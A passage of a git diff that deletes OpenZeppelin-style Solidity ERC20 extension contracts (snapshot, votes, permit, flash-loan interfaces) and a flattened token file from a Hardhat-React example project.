-    function totalSupplyAt(uint256 snapshotId) public view virtual returns(uint256) {
-        (bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnapshots);
-
-        return snapshotted ? value : totalSupply();
-    }
-
-    // Update balance and/or total supply snapshots before the values are modified. This is implemented
-    // in the _beforeTokenTransfer hook, which is executed for _mint, _burn, and _transfer operations.
-    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
-      super._beforeTokenTransfer(from, to, amount);
-
-      if (from == address(0)) {
-        // mint
-        _updateAccountSnapshot(to);
-        _updateTotalSupplySnapshot();
-      } else if (to == address(0)) {
-        // burn
-        _updateAccountSnapshot(from);
-        _updateTotalSupplySnapshot();
-      } else {
-        // transfer
-        _updateAccountSnapshot(from);
-        _updateAccountSnapshot(to);
-      }
-    }
-
-    function _valueAt(uint256 snapshotId, Snapshots storage snapshots)
-        private view returns (bool, uint256)
-    {
-        require(snapshotId > 0, "ERC20Snapshot: id is 0");
-        require(snapshotId <= _getCurrentSnapshotId(), "ERC20Snapshot: nonexistent id");
-
-        // When a valid snapshot is queried, there are three possibilities:
-        //  a) The queried value was not modified after the snapshot was taken. Therefore, a snapshot entry was never
-        //  created for this id, and all stored snapshot ids are smaller than the requested one. The value that corresponds
-        //  to this id is the current one.
-        //  b) The queried value was modified after the snapshot was taken. Therefore, there will be an entry with the
-        //  requested id, and its value is the one to return.
-        //  c) More snapshots were created after the requested one, and the queried value was later modified. There will be
-        //  no entry for the requested id: the value that corresponds to it is that of the smallest snapshot id that is
-        //  larger than the requested one.
-        //
-        // In summary, we need to find an element in an array, returning the index of the smallest value that is larger if
-        // it is not found, unless said value doesn't exist (e.g. when all values are smaller). Arrays.findUpperBound does
-        // exactly this.
-
-        uint256 index = snapshots.ids.findUpperBound(snapshotId);
-
-        if (index == snapshots.ids.length) {
-            return (false, 0);
-        } else {
-            return (true, snapshots.values[index]);
-        }
-    }
-
-    function _updateAccountSnapshot(address account) private {
-        _updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account));
-    }
-
-    function _updateTotalSupplySnapshot() private {
-        _updateSnapshot(_totalSupplySnapshots, totalSupply());
-    }
-
-    function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private {
-        uint256 currentId = _getCurrentSnapshotId();
-        if (_lastSnapshotId(snapshots.ids) < currentId) {
-            snapshots.ids.push(currentId);
-            snapshots.values.push(currentValue);
-        }
-    }
-
-    function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) {
-        if (ids.length == 0) {
-            return 0;
-        } else {
-            return ids[ids.length - 1];
-        }
-    }
-}
diff --git a/Example09-hardhat-react/contracts/extensions/ERC20Votes.sol b/Example09-hardhat-react/contracts/extensions/ERC20Votes.sol
deleted file mode 100644
index 0538a3c45..000000000
--- a/Example09-hardhat-react/contracts/extensions/ERC20Votes.sol
+++ /dev/null
@@ -1,251 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.8.0;
-
-import "./draft-ERC20Permit.sol";
-import "../utils/Math.sol";
-import "../utils/SafeCast.sol";
-import "../utils/cryptography/ECDSA.sol";
-
-/**
- * @dev Extension of ERC20 to support Compound-like voting and delegation. This version is more generic than Compound's,
- * and supports token supply up to 2^224^ - 1, while COMP is limited to 2^96^ - 1.
- *
- * NOTE: If exact COMP compatibility is required, use the {ERC20VotesComp} variant of this module.
- *
- * This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either
- * by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting
- * power can be queried through the public accessors {getVotes} and {getPastVotes}.
- *
- * By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it
- * requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.
- * Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this
- * will significantly increase the base gas cost of transfers.
- *
- * _Available since v4.2._
- */
-abstract contract ERC20Votes is ERC20Permit {
-    struct Checkpoint {
-        uint32  fromBlock;
-        uint224 votes;
-    }
-
-    bytes32 private constant _DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
-
-    mapping (address => address) private _delegates;
-    mapping (address => Checkpoint[]) private _checkpoints;
-    Checkpoint[] private _totalSupplyCheckpoints;
-
-    /**
-     * @dev Emitted when an account changes their delegate.
-     */
-    event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
-
-    /**
-     * @dev Emitted when a token transfer or delegate change results in changes to an account's voting power.
-     */
-    event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
-
-    /**
-     * @dev Get the `pos`-th checkpoint for `account`.
-     */
-    function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoint memory) {
-        return _checkpoints[account][pos];
-    }
-
-    /**
-     * @dev Get number of checkpoints for `account`.
-     */
-    function numCheckpoints(address account) public view virtual returns (uint32) {
-        return SafeCast.toUint32(_checkpoints[account].length);
-    }
-
-    /**
-     * @dev Get the address `account` is currently delegating to.
-     */
-    function delegates(address account) public view virtual returns (address) {
-        return _delegates[account];
-    }
-
-    /**
-     * @dev Gets the current votes balance for `account`
-     */
-    function getVotes(address account) public view returns (uint256) {
-        uint256 pos = _checkpoints[account].length;
-        return pos == 0 ? 0 : _checkpoints[account][pos - 1].votes;
-    }
-
-    /**
-     * @dev Retrieve the number of votes for `account` at the end of `blockNumber`.
-     *
-     * Requirements:
-     *
-     * - `blockNumber` must have been already mined
-     */
-    function getPastVotes(address account, uint256 blockNumber) public view returns (uint256) {
-        require(blockNumber < block.number, "ERC20Votes: block not yet mined");
-        return _checkpointsLookup(_checkpoints[account], blockNumber);
-    }
-
-    /**
-     * @dev Retrieve the `totalSupply` at the end of `blockNumber`. Note, this value is the sum of all balances.
-     * It is but NOT the sum of all the delegated votes!
-     *
-     * Requirements:
-     *
-     * - `blockNumber` must have been already mined
-     */
-    function getPastTotalSupply(uint256 blockNumber) public view returns (uint256) {
-        require(blockNumber < block.number, "ERC20Votes: block not yet mined");
-        return _checkpointsLookup(_totalSupplyCheckpoints, blockNumber);
-    }
-
-    /**
-     * @dev Lookup a value in a list of (sorted) checkpoints.
-     */
-    function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber) private view returns (uint256) {
-        // We run a binary search to look for the earliest checkpoint taken after `blockNumber`.
-        //
-        // During the loop, the index of the wanted checkpoint remains in the range [low, high).
-        // With each iteration, either `low` or `high` is moved towards the middle of the range to maintain the invariant.
-        // - If the middle checkpoint is after `blockNumber`, we look in [low, mid)
-        // - If the middle checkpoint is before `blockNumber`, we look in [mid+1, high)
-        // Once we reach a single value (when low == high), we've found the right checkpoint at the index high-1, if not
-        // out of bounds (in which case we're looking too far in the past and the result is 0).
-        // Note that if the latest checkpoint available is exactly for `blockNumber`, we end up with an index that is
-        // past the end of the array, so we technically don't find a checkpoint after `blockNumber`, but it works out
-        // the same.
-        uint256 high = ckpts.length;
-        uint256 low = 0;
-        while (low < high) {
-            uint256 mid = Math.average(low, high);
-            if (ckpts[mid].fromBlock > blockNumber) {
-                high = mid;
-            } else {
-                low = mid + 1;
-            }
-        }
-
-        return high == 0 ? 0 : ckpts[high - 1].votes;
-    }
-
-    /**
-     * @dev Delegate votes from the sender to `delegatee`.
-     */
-    function delegate(address delegatee) public virtual {
-        return _delegate(_msgSender(), delegatee);
-    }
-
-    /**
-     * @dev Delegates votes from signer to `delegatee`
-     */
-    function delegateBySig(address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s)
-        public virtual
-    {
-        require(block.timestamp <= expiry, "ERC20Votes: signature expired");
-        address signer = ECDSA.recover(
-            _hashTypedDataV4(keccak256(abi.encode(
-                _DELEGATION_TYPEHASH,
-                delegatee,
-                nonce,
-                expiry
-            ))),
-            v, r, s
-        );
-        require(nonce == _useNonce(signer), "ERC20Votes: invalid nonce");
-        return _delegate(signer, delegatee);
-    }
-
-    /**
-     * @dev Maximum token supply. Defaults to `type(uint224).max` (2^224^ - 1).
-     */
-    function _maxSupply() internal view virtual returns (uint224) {
-        return type(uint224).max;
-    }
-
-    /**
-     * @dev Snapshots the totalSupply after it has been increased.
-     */
-    function _mint(address account, uint256 amount) internal virtual override {
-        super._mint(account, amount);
-        require(totalSupply() <= _maxSupply(), "ERC20Votes: total supply risks overflowing votes");
-
-        _writeCheckpoint(_totalSupplyCheckpoints, add, amount);
-    }
-
-    /**
-     * @dev Snapshots the totalSupply after it has been decreased.
-     */
-    function _burn(address account, uint256 amount) internal virtual override {
-        super._burn(account, amount);
-
-        _writeCheckpoint(_totalSupplyCheckpoints, subtract, amount);
-    }
-
-    /**
-     * @dev Move voting power when tokens are transferred.
-     *
-     * Emits a {DelegateVotesChanged} event.
-     */
-    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
-        _moveVotingPower(delegates(from), delegates(to), amount);
-    }
-
-    /**
-     * @dev Change delegation for `delegator` to `delegatee`.
-     *
-     * Emits events {DelegateChanged} and {DelegateVotesChanged}.
-     */
-    function _delegate(address delegator, address delegatee) internal virtual {
-        address currentDelegate = delegates(delegator);
-        uint256 delegatorBalance = balanceOf(delegator);
-        _delegates[delegator] = delegatee;
-
-        emit DelegateChanged(delegator, currentDelegate, delegatee);
-
-        _moveVotingPower(currentDelegate, delegatee, delegatorBalance);
-    }
-
-    function _moveVotingPower(address src, address dst, uint256 amount) private {
-        if (src != dst && amount > 0) {
-            if (src != address(0)) {
-                (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[src], subtract, amount);
-                emit DelegateVotesChanged(src, oldWeight, newWeight);
-            }
-
-            if (dst != address(0)) {
-                (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[dst], add, amount);
-                emit DelegateVotesChanged(dst, oldWeight, newWeight);
-            }
-        }
-    }
-
-    function _writeCheckpoint(
-        Checkpoint[] storage ckpts,
-        function (uint256, uint256) view returns (uint256) op,
-        uint256 delta
-    )
-        private returns (uint256 oldWeight, uint256 newWeight)
-    {
-        uint256 pos = ckpts.length;
-        oldWeight = pos == 0 ? 0 : ckpts[pos - 1].votes;
-        newWeight = op(oldWeight, delta);
-
-        if (pos > 0 && ckpts[pos - 1].fromBlock == block.number) {
-            ckpts[pos - 1].votes = SafeCast.toUint224(newWeight);
-        } else {
-            ckpts.push(Checkpoint({
-                fromBlock: SafeCast.toUint32(block.number),
-                votes: SafeCast.toUint224(newWeight)
-            }));
-        }
-    }
-
-    function add(uint256 a, uint256 b) private pure returns (uint256) {
-        return a + b;
-    }
-
-    function subtract(uint256 a, uint256 b) private pure returns (uint256) {
-        return a - b;
-    }
-}
diff --git a/Example09-hardhat-react/contracts/extensions/ERC20VotesComp.sol b/Example09-hardhat-react/contracts/extensions/ERC20VotesComp.sol
deleted file mode 100644
index d75ae4ef8..000000000
--- a/Example09-hardhat-react/contracts/extensions/ERC20VotesComp.sol
+++ /dev/null
@@ -1,46 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.8.0;
-
-import "./ERC20Votes.sol";
-
-/**
- * @dev Extension of ERC20 to support Compound's voting and delegation. This version exactly matches Compound's
- * interface, with the drawback of only supporting supply up to (2^96^ - 1).
- *
- * NOTE: You should use this contract if you need exact compatibility with COMP (for example in order to use your token
- * with Governor Alpha or Bravo) and if you are sure the supply cap of 2^96^ is enough for you. Otherwise, use the
- * {ERC20Votes} variant of this module.
- *
- * This extensions keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either
- * by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting
- * power can be queried through the public accessors {getCurrentVotes} and {getPriorVotes}.
- *
- * By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it
- * requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.
- * Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this
- * will significantly increase the base gas cost of transfers.
- *
- * _Available since v4.2._
- */
-abstract contract ERC20VotesComp is ERC20Votes {
-    /**
-     * @dev Comp version of the {getVotes} accessor, with `uint96` return type.
-     */
-    function getCurrentVotes(address account) external view returns (uint96) {
-        return SafeCast.toUint96(getVotes(account));
-    }
-    /**
-     * @dev Comp version of the {getPastVotes} accessor, with `uint96` return type.
-     */
-    function getPriorVotes(address account, uint256 blockNumber) external view returns (uint96) {
-        return SafeCast.toUint96(getPastVotes(account, blockNumber));
-    }
-
-    /**
-     * @dev Maximum token supply. Reduced to `type(uint96).max` (2^96^ - 1) to fit COMP interface.
-     */
-    function _maxSupply() internal view virtual override returns (uint224) {
-        return type(uint96).max;
-    }
-}
diff --git a/Example09-hardhat-react/contracts/extensions/IERC20Metadata.sol b/Example09-hardhat-react/contracts/extensions/IERC20Metadata.sol
deleted file mode 100644
index 4fb868ae8..000000000
--- a/Example09-hardhat-react/contracts/extensions/IERC20Metadata.sol
+++ /dev/null
@@ -1,27 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.8.0;
-
-import "../IERC20.sol";
-
-/**
- * @dev Interface for the optional metadata functions from the ERC20 standard.
- *
- * _Available since v4.1._
- */
-interface IERC20Metadata is IERC20 {
-    /**
-     * @dev Returns the name of the token.
-     */
-    function name() external view returns (string memory);
-
-    /**
-     * @dev Returns the symbol of the token.
-     */
-    function symbol() external view returns (string memory);
-
-    /**
-     * @dev Returns the decimals places of the token.
-     */
-    function decimals() external view returns (uint8);
-}
diff --git a/Example09-hardhat-react/contracts/extensions/IERC3156.sol b/Example09-hardhat-react/contracts/extensions/IERC3156.sol
deleted file mode 100644
index 4b0cb5547..000000000
--- a/Example09-hardhat-react/contracts/extensions/IERC3156.sol
+++ /dev/null
@@ -1,68 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.8.0;
-
-/**
- * @dev Interface of the ERC3156 FlashBorrower, as defined in
- * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].
- *
- * _Available since v4.1._
- */
-interface IERC3156FlashBorrower {
-    /**
-     * @dev Receive a flash loan.
-     * @param initiator The initiator of the loan.
-     * @param token The loan currency.
-     * @param amount The amount of tokens lent.
-     * @param fee The additional amount of tokens to repay.
-     * @param data Arbitrary data structure, intended to contain user-defined parameters.
-     * @return The keccak256 hash of "ERC3156FlashBorrower.onFlashLoan"
-     */
-    function onFlashLoan(
-        address initiator,
-        address token,
-        uint256 amount,
-        uint256 fee,
-        bytes calldata data
-    ) external returns (bytes32);
-}
-
-/**
- * @dev Interface of the ERC3156 FlashLender, as defined in
- * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].
- */
-interface IERC3156FlashLender {
-    /**
-     * @dev The amount of currency available to be lended.
-     * @param token The loan currency.
-     * @return The amount of `token` that can be borrowed.
-     */
-    function maxFlashLoan(
-        address token
-    ) external view returns (uint256);
-
-    /**
-     * @dev The fee to be charged for a given loan.
-     * @param token The loan currency.
-     * @param amount The amount of tokens lent.
-     * @return The amount of `token` to be charged for the loan, on top of the returned principal.
-     */
-    function flashFee(
-        address token,
-        uint256 amount
-    ) external view returns (uint256);
-
-    /**
-     * @dev Initiate a flash loan.
-     * @param receiver The receiver of the tokens in the loan, and the receiver of the callback.
-     * @param token The loan currency.
-     * @param amount The amount of tokens lent.
-     * @param data Arbitrary data structure, intended to contain user-defined parameters.
-     */
-    function flashLoan(
-        IERC3156FlashBorrower receiver,
-        address token,
-        uint256 amount,
-        bytes calldata data
-    ) external returns (bool);
- }
diff --git a/Example09-hardhat-react/contracts/extensions/draft-ERC20Permit.sol b/Example09-hardhat-react/contracts/extensions/draft-ERC20Permit.sol
deleted file mode 100644
index 635874ea4..000000000
--- a/Example09-hardhat-react/contracts/extensions/draft-ERC20Permit.sol
+++ /dev/null
@@ -1,88 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.8.0;
-
-import "./draft-IERC20Permit.sol";
-import "../ERC20.sol";
-import "../utils/cryptography/draft-EIP712.sol";
-import "../utils/cryptography/ECDSA.sol";
-import "../utils/Counters.sol";
-
-/**
- * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
- * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
- *
- * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
- * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
- * need to send a transaction, and thus is not required to hold Ether at all.
- *
- * _Available since v3.4._
- */
-abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
-    using Counters for Counters.Counter;
-
-    mapping (address => Counters.Counter) private _nonces;
-
-    // solhint-disable-next-line var-name-mixedcase
-    bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
-
-    /**
-     * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
-     *
-     * It's a good idea to use the same `name` that is defined as the ERC20 token name.
-     */
-    constructor(string memory name) EIP712(name, "1") {
-    }
-
-    /**
-     * @dev See {IERC20Permit-permit}.
-     */
-    function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override {
-        // solhint-disable-next-line not-rely-on-time
-        require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
-
-        bytes32 structHash = keccak256(
-            abi.encode(
-                _PERMIT_TYPEHASH,
-                owner,
-                spender,
-                value,
-                _useNonce(owner),
-                deadline
-            )
-        );
-
-        bytes32 hash = _hashTypedDataV4(structHash);
-
-        address signer = ECDSA.recover(hash, v, r, s);
-        require(signer == owner, "ERC20Permit: invalid signature");
-
-        _approve(owner, spender, value);
-    }
-
-    /**
-     * @dev See {IERC20Permit-nonces}.
-     */
-    function nonces(address owner) public view virtual override returns (uint256) {
-        return _nonces[owner].current();
-    }
-
-    /**
-     * @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
-     */
-    // solhint-disable-next-line func-name-mixedcase
-    function DOMAIN_SEPARATOR() external view override returns (bytes32) {
-        return _domainSeparatorV4();
-    }
-
-    /**
-     * @dev "Consume a nonce": return the current value and increment.
-     *
-     * _Available since v4.1._
-     */
-    function _useNonce(address owner) internal virtual returns (uint256 current) {
-        Counters.Counter storage nonce = _nonces[owner];
-        current = nonce.current();
-        nonce.increment();
-    }
-}
diff --git a/Example09-hardhat-react/contracts/extensions/draft-IERC20Permit.sol b/Example09-hardhat-react/contracts/extensions/draft-IERC20Permit.sol
deleted file mode 100644
index 1a8731a58..000000000
--- a/Example09-hardhat-react/contracts/extensions/draft-IERC20Permit.sol
+++ /dev/null
@@ -1,51 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.8.0;
-
-/**
- * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
- * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
- *
- * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
- * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
- * need to send a transaction, and thus is not required to hold Ether at all.
- */
-interface IERC20Permit {
-    /**
-     * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
-     * given ``owner``'s signed approval.
-     *
-     * IMPORTANT: The same issues {IERC20-approve} has related to transaction
-     * ordering also apply here.
-     *
-     * Emits an {Approval} event.
-     *
-     * Requirements:
-     *
-     * - `spender` cannot be the zero address.
-     * - `deadline` must be a timestamp in the future.
-     * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
-     * over the EIP712-formatted function arguments.
-     * - the signature must use ``owner``'s current nonce (see {nonces}).
-     *
-     * For more information on the signature format, see the
-     * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
-     * section].
-     */
-    function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
-
-    /**
-     * @dev Returns the current nonce for `owner`. This value must be
-     * included whenever a signature is generated for {permit}.
-     *
-     * Every successful call to {permit} increases ``owner``'s nonce by one. This
-     * prevents a signature from being used multiple times.
-     */
-    function nonces(address owner) external view returns (uint256);
-
-    /**
-     * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
-     */
-    // solhint-disable-next-line func-name-mixedcase
-    function DOMAIN_SEPARATOR() external view returns (bytes32);
-}
diff --git a/Example09-hardhat-react/contracts/flattenSimpleToken.sol b/Example09-hardhat-react/contracts/flattenSimpleToken.sol
deleted file mode 100644
index cabfc2599..000000000
--- a/Example09-hardhat-react/contracts/flattenSimpleToken.sol
+++ /dev/null
@@ -1,3307 +0,0 @@
-// Sources flattened with hardhat v2.3.0 https://hardhat.org
-
-// File contracts/IERC20.sol
-pragma solidity ^0.8.0;
-/**
- * @dev Interface of the ERC20 standard as defined in the EIP.
- */
-interface IERC20 {
-    /**
-     * @dev Returns the amount of tokens in existence.
-     */
-    function totalSupply() external view returns (uint256);
-
-    /**
-     * @dev Returns the amount of tokens owned by `account`.
-     */
-    function balanceOf(address account) external view returns (uint256);
-
-    /**
-     * @dev Moves `amount` tokens from the caller's account to `recipient`.
-     *
-     * Returns a boolean value indicating whether the operation succeeded.
-     *
-     * Emits a {Transfer} event.
-     */
-    function transfer(address recipient, uint256 amount) external returns (bool);
-
-    /**
-     * @dev Returns the remaining number of tokens that `spender` will be
-     * allowed to spend on behalf of `owner` through {transferFrom}. This is
-     * zero by default.
-     *
-     * This value changes when {approve} or {transferFrom} are called.
-     */
-    function allowance(address owner, address spender) external view returns (uint256);
-
-    /**
-     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
-     *
-     * Returns a boolean value indicating whether the operation succeeded.
-     *
-     * IMPORTANT: Beware that changing an allowance with this method brings the risk
-     * that someone may use both the old and the new allowance by unfortunate
-     * transaction ordering. One possible solution to mitigate this race
-     * condition is to first reduce the spender's allowance to 0 and set the
-     * desired value afterwards:
-     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
-     *
-     * Emits an {Approval} event.
-     */
-    function approve(address spender, uint256 amount) external returns (bool);
-
-    /**
-     * @dev Moves `amount` tokens from `sender` to `recipient` using the
-     * allowance mechanism. `amount` is then deducted from the caller's
-     * allowance.
-     *
-     * Returns a boolean value indicating whether the operation succeeded.
-     *
-     * Emits a {Transfer} event.
-     */
-    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
-
-    /**
-     * @dev Emitted when `value` tokens are moved from one account (`from`) to
-     * another (`to`).
-     *
-     * Note that `value` may be zero.
-     */
-    event Transfer(address indexed from, address indexed to, uint256 value);
-
-    /**
-     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
-     * a call to {approve}. `value` is the new allowance.
-     */
-    event Approval(address indexed owner, address indexed spender, uint256 value);
-}
-
-
-// File contracts/extensions/IERC20Metadata.sol
-
-/**
- * @dev Interface for the optional metadata functions from the ERC20 standard.
- *
- * _Available since v4.1._
- */
-interface IERC20Metadata is IERC20 {
-    /**
-     * @dev Returns the name of the token.
-     */
-    function name() external view returns (string memory);
-
-    /**
-     * @dev Returns the symbol of the token.
-     */
-    function symbol() external view returns (string memory);
-
-    /**
-     * @dev Returns the decimals places of the token.
-     */
-    function decimals() external view returns (uint8);
-}
-
-
-// File contracts/utils/Context.sol
-
-
-/*
- * @dev Provides information about the current execution context, including the
- * sender of the transaction and its data. While these are generally available
- * via msg.sender and msg.data, they should not be accessed in such a direct
- * manner, since when dealing with meta-transactions the account sending and
- * paying for execution may not be the actual sender (as far as an application
- * is concerned).
- *
- * This contract is only required for intermediate, library-like contracts.
- */
-abstract contract Context {
-    function _msgSender() internal view virtual returns (address) {
-        return msg.sender;
-    }
-
-    function _msgData() internal view virtual returns (bytes calldata) {
-        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
-        return msg.data;
-    }
-}
-
-
-// File contracts/ERC20.sol
-
-/**
- * @dev Implementation of the {IERC20} interface.
- *
- * This implementation is agnostic to the way tokens are created. This means
- * that a supply mechanism has to be added in a derived contract using {_mint}.
- * For a generic mechanism see {ERC20PresetMinterPauser}.
- *
- * TIP: For a detailed writeup see our guide
- * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
- * to implement supply mechanisms].
- *
- * We have followed general OpenZeppelin guidelines: functions revert instead
- * of returning `false` on failure. This behavior is nonetheless conventional
- * and does not conflict with the expectations of ERC20 applications.
- *
- * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
- * This allows applications to reconstruct the allowance for all accounts just
- * by listening to said events. Other implementations of the EIP may not emit
- * these events, as it isn't required by the specification.
- *
- * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
- * functions have been added to mitigate the well-known issues around setting
- * allowances. See {IERC20-approve}.
- */
-contract ERC20 is Context, IERC20, IERC20Metadata {
-    mapping (address => uint256) private _balances;
-
-    mapping (address => mapping (address => uint256)) private _allowances;
-
-    uint256 private _totalSupply;
-
-    string private _name;
-    string private _symbol;
-
-    /**
-     * @dev Sets the values for {name} and {symbol}.
-     *
-     * The default value of {decimals} is 18. To select a different value for
-     * {decimals} you should overload it.
-     *
-     * All two of these values are immutable: they can only be set once during
-     * construction.
-     */
-    constructor (string memory name_, string memory symbol_) {
-        _name = name_;
-        _symbol = symbol_;
-    }
-
-    /**
-     * @dev Returns the name of the token.
-     */
-    function name() public view virtual override returns (string memory) {
-        return _name;
-    }
-
-    /**
-     * @dev Returns the symbol of the token, usually a shorter version of the
-     * name.
-     */
-    function symbol() public view virtual override returns (string memory) {
-        return _symbol;
-    }
-
-    /**
-     * @dev Returns the number of decimals used to get its user representation.
-     * For example, if `decimals` equals `2`, a balance of `505` tokens should
-     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
-     *
-     * Tokens usually opt for a value of 18, imitating the relationship between
-     * Ether and Wei. This is the value {ERC20} uses, unless this function is
-     * overridden;
-     *
-     * NOTE: This information is only used for _display_ purposes: it in
-     * no way affects any of the arithmetic of the contract, including
-     * {IERC20-balanceOf} and {IERC20-transfer}.
-     */
-    function decimals() public view virtual override returns (uint8) {
-        return 18;
-    }
-
-    /**
-     * @dev See {IERC20-totalSupply}.
-     */
-    function totalSupply() public view virtual override returns (uint256) {
-        return _totalSupply;
-    }
-
-    /**
-     * @dev See {IERC20-balanceOf}.
-     */
-    function balanceOf(address account) public view virtual override returns (uint256) {
-        return _balances[account];
-    }
-
-    /**
-     * @dev See {IERC20-transfer}.
-     *
-     * Requirements:
-     *
-     * - `recipient` cannot be the zero address.
-     * - the caller must have a balance of at least `amount`.
-     */
-    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
-        _transfer(_msgSender(), recipient, amount);
-        return true;
-    }
-
-    /**
-     * @dev See {IERC20-allowance}.
-     */
-    function allowance(address owner, address spender) public view virtual override returns (uint256) {
-        return _allowances[owner][spender];
-    }
-
-    /**
-     * @dev See {IERC20-approve}.
-     *
-     * Requirements:
-     *
-     * - `spender` cannot be the zero address.
-     */
-    function approve(address spender, uint256 amount) public virtual override returns (bool) {
-        _approve(_msgSender(), spender, amount);
-        return true;
-    }
-
-    /**
-     * @dev See {IERC20-transferFrom}.
-     *
-     * Emits an {Approval} event indicating the updated allowance. This is not
-     * required by the EIP. See the note at the beginning of {ERC20}.
-     *
-     * Requirements:
-     *
-     * - `sender` and `recipient` cannot be the zero address.
-     * - `sender` must have a balance of at least `amount`.
-     * - the caller must have allowance for ``sender``'s tokens of at least
-     * `amount`.
-     */
-    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
-        _transfer(sender, recipient, amount);
-
-        uint256 currentAllowance = _allowances[sender][_msgSender()];
-        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
-        unchecked {
-            _approve(sender, _msgSender(), currentAllowance - amount);
-        }
-
-        return true;
-    }
-
-    /**
-     * @dev Atomically increases the allowance granted to `spender` by the caller.
-     *
-     * This is an alternative to {approve} that can be used as a mitigation for
-     * problems described in {IERC20-approve}.
-     *
-     * Emits an {Approval} event indicating the updated allowance.
-     *
-     * Requirements:
-     *
-     * - `spender` cannot be the zero address.
-     */
-    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
-        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
-        return true;
-    }
-
-    /**
-     * @dev Atomically decreases the allowance granted to `spender` by the caller.
-     *
-     * This is an alternative to {approve} that can be used as a mitigation for
-     * problems described in {IERC20-approve}.
-     *
-     * Emits an {Approval} event indicating the updated allowance.
-     *
-     * Requirements:
-     *
-     * - `spender` cannot be the zero address.
-     * - `spender` must have allowance for the caller of at least
-     * `subtractedValue`.
-     */
-    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
-        uint256 currentAllowance = _allowances[_msgSender()][spender];
-        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
-        unchecked {
-            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
-        }
-
-        return true;
-    }
-
-    /**
-     * @dev Moves tokens `amount` from `sender` to `recipient`.
-     *
-     * This is internal function is equivalent to {transfer}, and can be used to
-     * e.g. implement automatic token fees, slashing mechanisms, etc.
-     *
-     * Emits a {Transfer} event.
-     *
-     * Requirements:
-     *
-     * - `sender` cannot be the zero address.
-     * - `recipient` cannot be the zero address.
-     * - `sender` must have a balance of at least `amount`.
-     */
-    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
-        require(sender != address(0), "ERC20: transfer from the zero address");
-        require(recipient != address(0), "ERC20: transfer to the zero address");
-
-        _beforeTokenTransfer(sender, recipient, amount);
-
-        uint256 senderBalance = _balances[sender];
-        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
-        unchecked {
-            _balances[sender] = senderBalance - amount;
-        }
-        _balances[recipient] += amount;
-
